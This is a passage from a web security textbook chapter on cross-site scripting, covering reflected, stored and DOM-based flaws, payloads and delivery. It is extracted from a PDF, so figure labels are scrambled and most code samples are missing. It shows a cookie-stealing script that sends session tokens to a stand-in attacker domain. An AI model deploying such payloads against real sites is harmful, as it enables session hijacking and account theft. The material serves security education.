Whatever your opinion of the threat posed by XSS vulnerabilities, it seems unlikely that Al Gore will be producing a movie about them any time soon.
C O M M O N M Y T H “You can’t own a web application via XSS.” The authors have owned numerous applications using only XSS attacks. In the right situation, a skillfully exploited XSS vulnerability can lead directly to a complete compromise of the application. We will show you how.
Reflected XSS Vulnerabilities A very common example of XSS occurs when an application employs a dynamic page to display error messages to users. Typically, the page takes a parameter containing the text of the message, and simply renders this text back to the user within its response. This type of mechanism is convenient for developers, because it allows them to invoke a customized error page from anywhere in the application, without needing to hard-code individual messages within the error page itself.
377
70779c12.qxd:WileyRed
378
9/14/07
Chapter 12
■
3:14 PM
Page 378
Attacking Other Users
For example, consider the following URL, which returns the error message shown in Figure 12-1: https://wahh-app.com/error.php?message=Sorry%2c+an+error+occurred
Figure 12-1: A dynamically generated error message
Looking at the HTML source for the returned page, we can see that the application is simply copying the value of the message parameter in the URL and inserting this into the error page template at the appropriate place:
Sorry, an error occurred.
This behavior of taking user-supplied input and inserting it into the HTML of the server’s response is one of the signatures of XSS vulnerabilities, and if no filtering or sanitization is being performed, then the application is certainly vulnerable. Let’s see how. The following URL has been crafted to replace the error message with a piece of JavaScript that generates a pop-up dialog: https://wahh-app.com/error.php?message=
Requesting this URL generates an HTML page that contains the following in place of the original message:
And sure enough, when the page is rendered within the user’s browser, the pop-up message appears, as shown in Figure 12-2.
Figure 12-2: A proof-of-concept XSS exploit
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 379
Chapter 12
■
Attacking Other Users
Performing this simple test serves to verify two important things. First, the contents of the message parameter can be replaced with arbitrary data that gets returned to the browser. Second, whatever processing the server-side application is performing on this data (if any), it is not sufficient to prevent us from supplying JavaScript code that is executed when the page is displayed in the browser. This type of simple XSS bug accounts for approximately 75% of the XSS vulnerabilities that exist in real-world web applications. It is often referred to as reflected XSS because exploiting the vulnerability involves crafting a request containing embedded JavaScript which is reflected back to any user who makes the request. The attack payload is delivered and executed via a single request and response. For this reason, it is also sometimes referred to as first-order XSS.
Exploiting the Vulnerability As you will see, XSS vulnerabilities can be exploited in many different ways to attack other users of an application. One of the simplest attacks, and the one that is most commonly envisaged to explain the potential significance of XSS flaws, results in the attacker capturing the session token of an authenticated user. Hijacking the user’s session gives the attacker access to all of the data and functionality to which the user is authorized (see Chapter 7). The steps involved in this attack are illustrated in Figure 12-3.
7. rh ke
c ta
At ’s er
us
3.
s ck ija ss
se n
io
1. Us Us er 4. er re Se qu lo at rv gs es ta er ts ck r in e er s a t ’s po ta ck Ja nd er va s ’s Sc w UR rip ith L t
Application
5. Attacker’s JavaScript executes in user’s browser
2. Attacker feeds crafted URL to user 6. User’s browser sends session token to attacker
User
Figure 12-3: The steps involved in a reflected XSS attack
Attacker
379
70779c12.qxd:WileyRed
380
9/14/07
Chapter 12
■
3:14 PM
Page 380
Attacking Other Users
1. The user logs in to the application as normal, and is issued with a cookie containing a session token: Set-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
2. Through some means (described in detail later), the attacker feeds the following URL to the user: https://wahhapp.com/error.php?message=
As in the previous example, which generated a dialog message, this URL contains embedded JavaScript. However, the attack payload in this case is more malicious. 3. The user requests from the application the URL fed to them by the attacker. 4. The server responds to the user’s request. As a result of the XSS vulnerability, the response contains the JavaScript created by the attacker. 5. The attacker’s JavaScript is received by the user’s browser, which executes it in the same way it does any other code received from the application. 6. The malicious JavaScript created by the attacker is: var i=new Image; i.src=”http://wahh-attacker.com/“+document.cookie;
This code causes the user’s browser to make a request to wahhattacker.com, which is a domain owned by the attacker. The request contains the user’s current session token for the application: GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1 Host: wahh-attacker.com
7. The attacker monitors requests to wahh-attacker.com and receives the user’s request. He uses the captured token to hijack the user’s session, gaining access to that user’s personal information, and performing arbitrary actions “as” the user.
N OT E As you saw in Chapter 6, some applications store a persistent cookie which effectively reauthenticates the user on each visit — for example, to implement a “remember me” function. In this situation, step 1 of the preceding process is not necessary. The attack will succeed even at times when the target user is not actively using or logged in to the application. Because of this, applications that use cookies in this way leave themselves more exposed in terms of the impact of any XSS flaws that they contain.
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 381
Chapter 12
■
Attacking Other Users
After following all of this, you may be forgiven for wondering why, if the attacker is able to induce the user to visit a URL of his choosing, he bothers with the whole rigmarole of transmitting his malicious JavaScript via the XSS bug in the vulnerable application. Why doesn’t he simply host a malicious script on wahh-attacker.com and feed the user a direct link to this script? Wouldn’t this script execute in just the same way as it does in the example described? In fact, there are two important reasons why the attacker goes to the trouble of exploiting the XSS vulnerability. The first and most important reason is that the attacker’s objective is not simply to execute an arbitrary script but to capture the session token of the user. Browsers do not let just any old script access a site’s cookies; otherwise, session hijacking would be trivial. Rather, cookies can be accessed only by the site that issued them: they are submitted in HTTP requests back to the issuing site only, and they can be accessed via JavaScript contained within or loaded by a page returned by that site only. Hence, if a script residing on wahh-attacker.com queries document.cookie, it will not obtain the cookies issued by wahh-app.com, and the hijacking attack will fail. The reason why the attack which exploits the XSS vulnerability is successful is that, as far as the user’s browser is concerned, the attacker’s malicious JavaScript was sent to it by wahh-app.com. When the user requests the attacker’s URL, the browser makes a request to https://wahh-app.com/error.php, and the application returns a page containing some JavaScript. As with any JavaScript received from wahh-app.com, the browser executes this script within the security context of the user’s relationship with wahh-app.com. This is the reason why the attacker’s script, although it actually originates elsewhere, is able to gain access to the cookies issued by wahh-app.com. This is also the reason why the vulnerability itself has become known as cross-site scripting.
N OT E This restriction on the data that individual scripts can access is part of a more general same origin policy implemented by all modern browsers. This policy is designed to place barriers between different web sites that are being accessed by the browser, to prevent them from interfering with each other. The main features of the policy that you need to be aware of are: ■■
A page residing on one domain can cause an arbitrary request to be made to another domain (for example, by submitting a form or loading an image), but it cannot itself process the data returned from that request.
■■
A page residing on one domain can load a script from another domain and execute this within its own context. This is because scripts are assumed to contain code, rather than data, and so cross-domain access should not lead to disclosure of any sensitive information. As you will
381
70779c12.qxd:WileyRed
382
9/14/07
Chapter 12
■
3:14 PM
Page 382
Attacking Other Users
see, this assumption breaks down in certain situations, leading to cross-domain attacks. ■■
A page residing on one domain cannot read or modify the cookies or other DOM data belonging to another domain (as described in the previous example).
The second reason why the attacker goes to the trouble of exploiting the XSS vulnerability is that step 2 of the process just described is far likelier to succeed if the URL crafted by the attacker starts with wahh-app.com rather than wahhattacker.com. Suppose that the attacker attempts to snare his victims by sending out millions of emails like the following: From: “WahhApp Customer Services”
Even to someone who is aware of the threats posed by phishing-style scams, this email is actually fairly reassuring: ■■
They are told to access their account using their usual bookmark.
■■
The link they are invited to click on points to the correct domain name used by the application.
■■
The URL has been obfuscated from the version in step 2, by URLencoding selected characters so that its malicious intent is not immediately obvious.
■■
The HTTPS security check will succeed, because the URL provided by the attacker is actually delivered by the authentic wahh-app.com server.
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 383
Chapter 12
■
Attacking Other Users
If the attacker did not exploit the XSS vulnerability, but instead performed a pure phishing attack by offering a link to his own malicious web server, many less gullible users would suspect that it was a scam, and the attack would be far less successful.
C O M M O N M Y T H “Phishing scams are a fact of life on the Internet, and I can’t do anything about them. There is no point wasting time trying to fix the XSS bugs in my application.” Phishing attacks and XSS vulnerabilities are entirely different phenomena. Pure phishing scams involve creating a clone of a target application and somehow inducing users to interact with it. XSS attacks, on the other hand, may be delivered entirely via the vulnerable application being targeted. Many people get confused between XSS and phishing because the methods used for delivery are sometimes similar. However, there are several key points that make XSS a much higher risk to organizations than phishing: ■■
Because XSS attacks execute within the authentic application, the user will see personalized information relating to them, such as account information or a “welcome back” message. Cloned web sites are not personalized.
■■
The cloned web sites used in phishing attacks are usually identified and shut down quickly.
■■
Many browsers and anti-malware products contain a phishing filter that protects users from malicious cloned sites.
■■
Most banks won’t take responsibility if their customers visit a cloned web site. They cannot disassociate themselves so easily if customers are attacked via an XSS flaw in their own application.
■■
As you will see, there are ways of delivering XSS attacks that do not use phishing-style techniques.
Stored XSS Vulnerabilities A different category of XSS vulnerability is often referred to as stored cross-site scripting. This version arises when data submitted by one user is stored within the application (typically in a back-end database) and then displayed to other users without being filtered or sanitized appropriately. Stored XSS vulnerabilities are common in applications that support interaction between end users, or where administrative staff access user records and data within the same application. For example, consider an auction application that allows buyers to post questions about specific items, and sellers to
383
70779c12.qxd:WileyRed
Chapter 12
■
3:14 PM
Page 384
Attacking Other Users
post responses. If a user can post a question containing embedded JavaScript, and the application does not filter or sanitize this, then an attacker can post a crafted question that causes arbitrary scripts to execute within the browser of anyone who views the question, including both the seller and other potential buyers. In this context, the attacker could potentially cause unwitting users to bid on an item without intending to, or cause a seller to close an auction and accept the attacker’s low bid for an item. Attacks against stored XSS vulnerabilities typically involve at least two requests to the application. In the first, the attacker posts some crafted data containing malicious code that gets stored by the application. In the second, a victim views some page containing the attacker’s data, at which point the malicious code is executed. For this reason, the vulnerability is also sometimes referred to as second-order cross-site scripting. (In this instance, “XSS” is really a misnomer, as there is no cross-site element to the attack. The name is widely used, however, so we will retain it here.) Figure 12-4 illustrates how an attacker can exploit a stored XSS vulnerability to perform the same session hijacking attack as was described for reflected XSS.
Application
n t tio ip es cr on qu vaS ssi its Ja se bm us r’s su icio se er al s u ck m k ta g jac At nin hi 1. tai ker n c co tta A 7.
3. Us 2. er Us 4. v er iew S lo at erv s gs ta er a tta ck r in er es c ke ’s po r Ja nd ’s va s qu Sc w es i rip th tio t n
384
9/14/07
5. Attacker’s JavaScript executes in user’s browser 6. User’s browser sends session token to attacker
User
Attacker
Figure 12-4: The steps involved in a stored XSS attack
There are two important differences in the attack process between reflected and stored XSS, which make the latter generally more serious from a security perspective.
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 385
Chapter 12
■
Attacking Other Users
First, in the case of reflected XSS, to exploit a vulnerability the attacker must use some means of inducing victims to visit his crafted URL. In the case of stored XSS, this requirement is avoided. Having deployed his attack within the application, the attacker simply needs to wait for victims to browse to the page or function that has been compromised. In general, this will be a regular page of the application that normal users will access of their own accord. Second, the attacker’s objectives in exploiting an XSS bug are usually achieved much more easily if the victim is using the application at the time of the attack. For example, if the user has an existing session, this can be immediately hijacked. In a reflected XSS attack, the attacker may try to engineer this situation by persuading the user to log in and then click on a link that he supplies, or he may attempt to deploy a persistent payload that waits until the user logs in. However, in a stored XSS attack, it is usually guaranteed that victim users will be already accessing the application at the time that the attack strikes. Because the attack payload is stored within a page of the application that users access of their own accord, any victim of the attack will by definition be using the application at the moment the payload executes. Further, if the page concerned is within the authenticated area of the application, then any victim of the attack must in addition be logged in at the time. These differences between reflected and stored XSS mean that stored XSS flaws are often critical to an application’s security. In most cases, an attacker can submit some crafted data to the application and then wait for victims to be hit. If one of those victims is an administrator, then the attacker will have compromised the entire application.
Storing XSS in Uploaded Files One common, but frequently overlooked, source of stored XSS vulnerabilities arises where an application allows users to upload files that can be downloaded and viewed by other users. If you can upload an HTML or text file containing JavaScript, and a victim views the file, then your payload will normally be executed. Many applications disallow the uploading of HTML files to prevent this kind of attack; however, in most cases they allow files containing JPEG images. In Internet Explorer, if a user requests a JPEG file directly (not via an embedded tag), then the browser will actually process its contents as HTML if this is what the file contains. This behavior means that an attacker can upload a file with the .jpg extension containing an XSS payload. If the application does not verify that the file actually contains a valid image, and allows other users to download the file, then it is vulnerable.
385
70779c12.qxd:WileyRed
386
9/14/07
Chapter 12
■
3:14 PM
Page 386
Attacking Other Users
The following shows the raw response of an application that is vulnerable to stored XSS in this way. Note that even though the Content-Type header specifies that the message body contains an image, Internet Explorer overrides this and handles the content as HTML because this is what it in fact contains. HTTP/1.1 200 OK Date: Sat, 5 May 2007 11:52:25 GMT Server: Apache Content-Length: 39 Content-Type: image/jpeg
This vulnerability exists in many web mail applications, where an attacker can send emails containing a seductive-sounding image attachment that in fact compromises the session of any user who views it. Many such applications sanitize HTML attachments specifically to block XSS attacks, but overlook the way Internet Explorer handles JPEG files.
DOM-Based XSS Vulnerabilities Both reflected and stored XSS vulnerabilities involve a specific pattern of behavior, in which the application takes user-controllable data and displays this back to users in an unsafe way. A third category of XSS vulnerabilities does not share this characteristic. Here, the process by which the attacker’s JavaScript gets executed is as follows: ■■
A user requests a crafted URL supplied by the attacker and containing embedded JavaScript.
■■
The server’s response does not contain the attacker’s script in any form.
■■
When the user’s browser processes this response, the script is executed nonetheless.
How can this series of events occur? The answer is that client-side JavaScript can access the browser’s document object model (DOM), and so can determine the URL used to load the current page. A script issued by the application may extract data from the URL, perform some processing on this data, and then use it to dynamically update the contents of the page. When an application does this, it may be vulnerable to DOM-based XSS. Recall the original example of a reflected XSS flaw, in which the server-side application copies data from a URL parameter into an error message. A different way of implementing the same functionality would be for the application to return the same piece of static HTML on every occasion and to use clientside JavaScript to dynamically generate the message’s contents.
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 387
Chapter 12
■
Attacking Other Users
For example, suppose that the error page returned by the application contains the following:
This script parses the URL to extract the value of the message parameter and simply writes this value into the HTML source code of the page. When invoked as the developers intended, it can be used in the same way as in the original example to create error messages easily. However, if an attacker crafts a URL containing JavaScript code as the value of the message parameter, then this code will be dynamically written into the page and executed in just the same way as if it had been returned by the server. In this example, the same URL that exploited the original reflected XSS vulnerability can also be used to produce a dialog box: https://wahh-app.com/error.php?message=
The process of exploiting a DOM-based XSS vulnerability is illustrated in Figure 12-5.
7. er
ck
ta
At n io
ss
se
5. Attacker’s URL is processed by JavaScript, triggering his attack payload
’s er us
3.
ks
jac
hi
1. Us Us er co 4. S er re qu nt er lo ain ve gs es t r in r in s g es a t ha p ta ck rd on er -c ds ’s od w UR ed ith L Ja pa va ge Sc rip t
Application
2. Attacker feeds crafted URL to user 6. User’s browser sends session token to attacker
User
Figure 12-5: The steps involved in a DOM-based XSS attack
Attacker
387
70779c12.qxd:WileyRed
388
9/14/07
Chapter 12
■
3:14 PM
Page 388
Attacking Other Users
DOM-based XSS vulnerabilities are more similar to reflected than to stored XSS bugs. Their exploitation typically involves an attacker inducing a user to access a crafted URL containing malicious code, and it is the server’s response to that specific request that causes the malicious code to be executed. However, in terms of the details of exploitation, there are important differences between reflected and DOM-based XSS, which we will examine shortly.
Real-World XSS Attacks The features that make stored XSS vulnerabilities potentially very serious are evident in real-world examples of exploitation in the wild. Web mail applications are inherently at risk of stored XSS attacks, because of the way they render email messages in-browser when viewed by the recipient. Emails may contain HTML-formatted content, and so the application is effectively copying third-party HTML into the pages that it displays to users. If an attacker can send a victim an HTML-formatted email containing malicious JavaScript, and if this does not get filtered or sanitized by the application, then the victim’s web mail account may be compromised solely by reading the email. Applications like Hotmail implement numerous filters to prevent JavaScript embedded within emails from being transmitted to the recipient’s browser. However, various bypasses to these filters have been discovered over the years, enabling an attacker to construct a crafted email that succeeds in executing arbitrary JavaScript when viewed within the web mail application. Because any user reading such an email is guaranteed to be logged in to the application at the time, the vulnerability is potentially devastating to the application. The social networking site MySpace was found to be vulnerable to a stored XSS attack in 2005. The MySpace application implements filters to prevent users from placing JavaScript into their user profile page. However, a user called Samy found a means of circumventing these filters, and placed some JavaScript into his profile page. The script executed whenever a user viewed this profile and caused the victim’s browser to perform various actions with two key effects. First, it added the perpetrator as a “friend” of the victim. Second, it copied the script into the victim’s own user profile page. Subsequently, anyone who viewed the victim’s profile would also fall victim to the attack. To perform the various requests required, the attack used Ajax techniques (see the “Ajax” sidebar at the end of this section). The result was an XSS-based worm that spread exponentially, and within hours the original perpetrator had nearly one million friend requests, as shown in Figure 12-6. As a result, MySpace was obliged to take the application offline, remove the malicious script from the profiles of all their users, and fix the defect in their
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 389
Chapter 12
■
Attacking Other Users
anti-XSS filters. The perpetrator was eventually forced to pay financial restitution to MySpace and to carry out three months of community service, without the help of his many friends.
Figure 12-6: Samy’s friends
AJAX Ajax (or Asynchronous JavaScript and XML) is a technology used by some applications to create an enhanced interactive experience for users. In most web applications, each user action (such as clicking a link or submitting a form) results in a new HTML page being loaded from the server. The entire browser content disappears and is replaced with new content, even if much of this is identical to what was there before. This way of operating creates a punctuated user experience and differs greatly from the behavior of local applications such as email clients and other office software. Continued
389
70779c12.qxd:WileyRed
390
9/14/07
Chapter 12
■
3:14 PM
Page 390
Attacking Other Users
AJAX (continued) Ajax enables web developers to implement a user interface whose behavior is much closer to that of local software. User actions may still trigger a round trip of request and response to the server; however, the entire web page is not reloaded each time this occurs. Rather, the request does not occur as a browser navigation event but is made asynchronously by client-side JavaScript. The server responds with a lightweight message containing information in XML, JSON, or any other format, which is processed by the client-side script and used to update the user interface accordingly. For example, in a shopping application, clicking the Add to Basket button may simply involve communicating this action to the server and updating the “Your basket contains X items” message at the top of the screen. The page itself is not reloaded, resulting in a much smoother and more satisfying experience for the user. Ajax is implemented using the XMLHttpRequest object. This object comes in several forms depending on the browser, but these all function in fundamentally the same way. The following is a simple example of using Ajax within Internet Explorer to issue an asynchronous request and process its response:
One very important proviso affecting the use of XMLHttpRequest is that it can only be used to issue requests to the same domain as the page that is invoking it. Without this restriction, Ajax could be used to trivially violate the browser’s same origin policy, by enabling applications to retrieve and process data from a different domain.
Chaining XSS and Other Attacks XSS flaws can sometimes be chained with other vulnerabilities to devastating effect. The authors encountered an application that had a stored XSS vulnerability within the user’s display name. The only purpose for which this item was used was to show a personalized welcome message after the user logged in. The display name was never displayed to other application users, so there initially appeared to be no attack vector for users to cause problems by editing their own display name. Other things being equal, the vulnerability would be classified as very low risk.
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 391
Chapter 12
■
Attacking Other Users
However, a second vulnerability existed within the application. Defective access controls meant that any user could edit the display name of any other user. Again, on its own, this issue had minimal significance: Why would an attacker be interested in changing the display name of other users? Chaining these two low-risk vulnerabilities together enabled an attacker to completely compromise the application. It was trivial to automate an attack to inject a script into the display name of every application user. This script executed every time a user logged in to the application, and transmitted the user’s session token to a server owned by the attacker. Some of the application’s users were administrators, who logged in frequently and had the ability to create new users and modify the privileges of other users. An attacker simply had to wait for an administrator to log in, hijack the administrator’s session, and then upgrade their own account to have administrative privileges. The two vulnerabilities together represented a critical risk to the security of the application.
C O M M O N M Y T H “We’re not worried about that low-risk XSS bug — a user could only exploit it to attack themselves.” As the example illustrates, even apparently low-risk vulnerabilities can in the right circumstances pave the way for a devastating attack. Taking a defensein-depth approach to security entails removing every known vulnerability, however insignificant it may seem. Always assume that an attacker will be more imaginative than you in devising ways to exploit minor bugs!
Payloads for XSS Attacks So far, we have focused on the classic XSS attack payload, which is to capture a victim’s session token, hijack their session, and thereby make use of the application “as” the victim, performing arbitrary actions and potentially taking ownership of that user’s account. In fact, there are numerous other attack payloads that may be delivered via any type of XSS vulnerability.
Virtual Defacement This attack involves injecting malicious data into a page of a web application to feed misleading information to users of the application. It may simply involve injecting HTML mark-up into the site, or it may use scripts (sometimes hosted on an external server) to inject elaborate content and navigation into the site. This kind of attack is known as virtual defacement because the actual content hosted on the target’s web server is not modified — the defacement is
391
70779c12.qxd:WileyRed
392
9/14/07
Chapter 12
■
3:14 PM
Page 392
Attacking Other Users
generated solely because of the way the application processes and renders user-supplied input. In addition to frivolous mischief, this kind of attack could be used for serious criminal purposes. A professionally crafted defacement, delivered to the right recipients in a convincing manner, could be picked up by the news media and have real-world effects on people’s behavior, stock prices, and so on, to the financial gain of the attacker, as illustrated in Figure 12-7.
Figure 12-7: A virtual defacement attack exploiting an XSS flaw
Injecting Trojan Functionality This attack goes beyond virtual defacement and injects actual working functionality into the vulnerable application, designed to deceive end users into performing some undesirable action, such as entering sensitive data that is then transmitted to the attacker. An obvious attack involving injected functionality is to present users with a Trojan login form that submits their credentials to a server controlled by the attacker. If skillfully executed, the attack may also seamlessly log the user in to the real application, so that they do not detect any anomaly in their experience. The attacker is then free to use the victim’s credentials for his own purposes. This type of payload lends itself well to a phishing-style attack, in which users are fed a crafted URL within the actual authentic application and advised that they will need to log in as normal to access it. Another obvious attack is to ask users to enter their credit card details, usually with the inducement of some attractive offer. For example, Figure 12-8 shows a proof-of-concept attack created by Jim Ley, exploiting a reflected XSS vulnerability found in Google in 2004.
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 393
Chapter 12
■
Attacking Other Users
Figure 12-8: A reflected XSS attack injecting Trojan functionality
Because the URLs in these attacks point to the authentic domain name of the actual application, with a valid SSL certificate where applicable, they are far more likely to persuade victims to submit sensitive information than pure phishing web sites that are hosted on a different domain and merely clone the content of the targeted web site.
C O M M O N M Y T H “We’re not worried about any XSS bugs in the unauthenticated part of our site — they can’t be used to hijack sessions.” This thought is erroneous for two reasons. First, an XSS bug in the unauthenticated part of an application can normally be used to directly compromise the sessions of authenticated users. Hence, an unauthenticated reflected XSS flaw is typically more serious than an authenticated one, because the scope of potential victims is wider. Second, even if a user is not yet authenticated, an attacker can deploy some Trojan functionality which persists in the victim’s browser across multiple requests, waiting until they log in, and then hijacking the resulting session.
393
70779c12.qxd:WileyRed
394
9/14/07
Chapter 12
■
3:14 PM
Page 394
Attacking Other Users
Inducing User Actions If an attacker hijacks a victim’s session, then they can use the application “as” that user, and carry out any action on their behalf. However, this approach to performing arbitrary actions may not always be desirable. It requires that the attacker monitor their own server for submissions of captured session tokens from compromised users, and it requires them to carry out the relevant action on behalf of each and every user. If many users are being attacked, this may not be practicable. Further, it leaves a rather unsubtle trace in any application logs, which could be trivially used to identify the computer responsible for the unauthorized actions during any investigation. An alternative to session hijacking, when an attacker simply wants to carry out a specific set of actions on behalf of each compromised user, is to use the attack payload script itself to perform the actions. This attack payload is particularly useful in cases where an attacker wishes to perform some action which requires administrative privileges, such as modifying the permissions assigned to an account which he controls. With a large user base, it would be laborious to hijack each user’s session and establish whether the victim was an administrator. A more effective approach is to induce every compromised user to attempt to upgrade the permissions on the attacker’s account. Most attempts will fail, but the moment an administrative user is compromised, the attacker will succeed in escalating privileges. Ways of inducing actions on behalf of other users are described in the “Request Forgery” section, later in this chapter. The MySpace XSS worm described earlier is an example of this attack payload, and illustrates the power of such an attack to perform unauthorized actions on behalf of a mass user base with minimal effort by the attacker. An attacker whose primary target is the application itself, but who wishes to remain as stealthy as possible, can leverage this type of XSS attack payload to cause other users to carry out malicious actions of his choosing against the application. For example, the attacker could cause another user to exploit a SQL injection vulnerability to add a new administrator to the table of user accounts within the database. The attacker would control the new account, but any investigation of application logs may conclude that a different user was responsible.
Exploiting Any Trust Relationships You have already seen one important trust relationship which XSS may exploit: browsers trust JavaScript received from a web site with the cookies
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 395
Chapter 12
■
Attacking Other Users
issued by that web site. There are several other trust relationships that can sometimes be exploited in an XSS attack: ■■
If the application employs forms with autocomplete enabled, JavaScript issued by the application can capture any previously entered data that the user’s browser has stored in the autocomplete cache. By instantiating the relevant form, waiting for the browser to autocomplete its contents, and then querying the form field values, the script can steal this data and transmit it to the attacker’s server. The same technique can also be performed against the Firefox password manager to steal the user’s credentials for the application. This attack can be more powerful than injecting Trojan functionality, because sensitive data can be captured without requiring any interaction by the user.
■■
Some web applications recommend or require that users add their domain name to the “Trusted Sites” zone of their browser. This is almost always undesirable and means that any XSS-type flaw can be exploited to perform arbitrary code execution on the computer of a victim user. For example, if a site is running in the Trusted Sites zone of Internet Explorer, then injecting the following code will cause the Windows calculator program to launch on the user’s computer:
■■
Web applications often deploy ActiveX controls containing powerful methods (see the “Attacking ActiveX Controls” section, later in this chapter). Some applications seek to prevent misuse by a third party by verifying within the control itself that the invoking web page was issued from the correct web site. In this situation, the control can still be misused via an XSS attack, because in that instance the invoking code will satisfy the trust check implemented within the control.
C O M M O N M Y T H “Phishing and XSS only affect applications on the public Internet.” XSS bugs can affect any type of web application, and an attack against an intranet-based application, delivered via a group email, can exploit two forms of trust. First, there is the social trust exploited by an internal email sent between colleagues. Second, victims’ browsers will often trust corporate web servers more than they do those on the public Internet — for example, with Internet Explorer if a computer is part of a corporate domain, the browser will default to a lower level of security when accessing intranet-based applications.
395
70779c12.qxd:WileyRed
396
9/14/07
Chapter 12
■
3:14 PM
Page 396
Attacking Other Users
Escalating the Client-Side Attack There are numerous ways in which a web site may directly attack users who visit it. Any of these attacks may be delivered via a cross-site scripting flaw in a vulnerable application (although they may also be delivered directly by any malicious web site that a user happens to visit). Log Keystrokes
JavaScript can be used to monitor all keys pressed by the user while the browser window is active, including passwords, private messages, and other personal information. The following proof-of-concept script will capture all keystrokes in Internet Explorer and display them in the status bar of the browser:
Capture Clipboard Contents
JavaScript can be used to capture the contents of the clipboard. The following proof-of-concept script will display an alert containing the current contents of the clipboard:
Monitoring the clipboard periodically while a user works on other tasks might result in all kinds of information being captured. For example, there are some secure email applications that use the clipboard when encrypting and decrypting messages, and do not clear its contents after use. (Note that Internet Explorer 7 asks the user for permission before allowing clipboard contents to be captured, to prevent this type of attack.) Steal History and Search Queries
JavaScript can be used to perform a brute-force exercise to discover thirdparty sites recently visited by the user, and queries that they have performed on popular search engines. This can be done by dynamically creating hyperlinks for common web sites, and for common search queries, and using the getComputedStyle API to test whether the link is colorized as visited or not visited. A huge list of possible targets can be quickly checked with minimal impact on the user.
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 397
Chapter 12
■
Attacking Other Users
Enumerate Currently Used Applications
JavaScript can be used to determine whether the user is presently logged in to third-party web applications. Most applications contain protected pages that can be viewed only by logged-in users, such as a My Details page. If an unauthenticated user requests the page, she receives different content such as an error message or a redirection to the login. This behavior can be leveraged to determine whether a user is logged in to a third-party application. The injected script can issue a request for the protected page to determine its state. A key constraint here, of course, is that although the script can make arbitrary requests, it cannot process the responses, due to the browser’s same origin policy. However, recall that the same origin policy treats scripts themselves as code rather than data, and applications are allowed to load and execute scripts from a different domain. This provides enough of a toehold for an attacker to determine what state the protected page is in and, therefore, whether the user is logged in. The trick is to attempt to dynamically load and execute the protected page as a piece of JavaScript: window.onerror = fingerprint;
Of course, whatever state the protected page is in, it contains only HTML, so a JavaScript console error is thrown. Crucially, the console error will contain a different line number and error type depending on the exact HTML document returned. The attacker can implement an error handler (in the fingerprint function) that checks for the line number and error type that arise when the user is logged in. Despite the same origin restrictions, the attacker’s script can thereby deduce what state the protected page is in. Having determined which popular third-party applications the user is presently logged in to, the attacker can then carry out highly focused cross-site request forgery attacks, to perform arbitrary actions within those applications in the security context of the compromised user (see the “Request Forgery” section, later in this chapter). Port Scan the Local Network
Using techniques pioneered by Jeremiah Grossman and Robert Hansen, JavaScript can be used to perform a port scan of hosts on the user’s local network, to identify services that may be exploitable. If a user is behind a corporate or home firewall, an attacker will be able to reach services that cannot be accessed from the public Internet. If the attacker scans the client computer’s loopback interface, he may be able to bypass any personal firewall installed by the user.
397
70779c12.qxd:WileyRed
398
9/14/07
Chapter 12
■
3:14 PM
Page 398
Attacking Other Users
Browser-based port scanning can use a Java applet to determine the user’s IP address (which may be NAT-ed from the public Internet), and so infer the IP range of the local network. The script can then initiate HTTP connections to arbitrary hosts and ports to test connectivity. As already described, the same origin policy prevents the script from processing the responses to these requests. However, a similar trick as was used to detect login status can also be used to test for network connectivity. Here, the attacker’s script attempts to dynamically load and execute a script from each targeted host and port. If a web server is running on that port, it will return HTML or some other content, resulting in a JavaScript console error that the port scanning script can detect. Otherwise, the connection attempt will time out or return no data, in which case no error is thrown. Hence, despite the same origin restrictions, the portscanning script can confirm connectivity to arbitrary hosts and ports. Attack Other Network Hosts
Following a successful port scan to identify other hosts, a malicious script can attempt to fingerprint each discovered service and then attack it in various ways. Many web servers contain image files located at unique URLs. The following code checks for a specific image associated with a popular range of DSL routers:
If the function notNetgear is not invoked, then the server has been successfully fingerprinted. The script can then proceed to attack the web server, either by exploiting any known vulnerabilities in the particular software, or by performing a request forgery attack (described later in this chapter). In this example, the attacker could attempt to reconfigure the router to open up additional ports on its external interface, or expose its administrative function to the world. Note that many highly effective attacks of this kind only require the ability to issue arbitrary requests, not to process their responses, and so are not affected by the browser’s same origin policy. In certain situations, an attacker may be able to leverage anti-DNS pinning techniques to violate the same origin policy and actually retrieve content from web servers on the local network. These attacks are described later in this chapter. Going beyond attacks against web servers, Wade Alcorn has performed some interesting research demonstrating the possibilities for attacking other network services via a hijacked browser. See the following paper for more details: www.ngssoftware.com/research/papers/InterProtocolExploitation.pdf
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 399
Chapter 12
■
Attacking Other Users
Exploit Browser Vulnerabilities
If bugs exist within the user’s browser or any installed plug-ins, an attacker may be able to exploit these via malicious JavaScript or HTML. In some cases, bugs within plug-ins such as the Java VM have enabled attackers to perform two-way binary communication with non-HTTP services on the local computer or elsewhere, enabling the attacker to exploit vulnerabilities that exist within other services identified via port scanning. Many software products (including non–browser-based products) install ActiveX controls that may contain vulnerabilities.
Delivery Mechanisms for XSS Attacks Having identified an XSS vulnerability and formulated a suitable payload to exploit it, an attacker needs to find some means of delivering the attack to other users of the application. We have already discussed several ways in which this can be done. In fact, there are many other delivery mechanisms available to an attacker.
Delivering Reflected and DOM-Based XSS Attacks In addition to the obvious phishing vector of bulk emailing a crafted URL to random users, an attacker may attempt to deliver a reflected or DOM-based XSS attack via the following mechanisms: ■■
In a targeted attack, a forged email may be sent to a single target user, or a small number of users. For example, an application administrator could be sent an email apparently originating from a known user, complaining that a specific URL is causing an error. When an attacker wants to compromise the session of a specific user (rather than harvest those of random users) a well-informed and convincing targeted attack is often the most effective delivery mechanism.
■■
A URL can be fed to a target user in an instant message.
■■
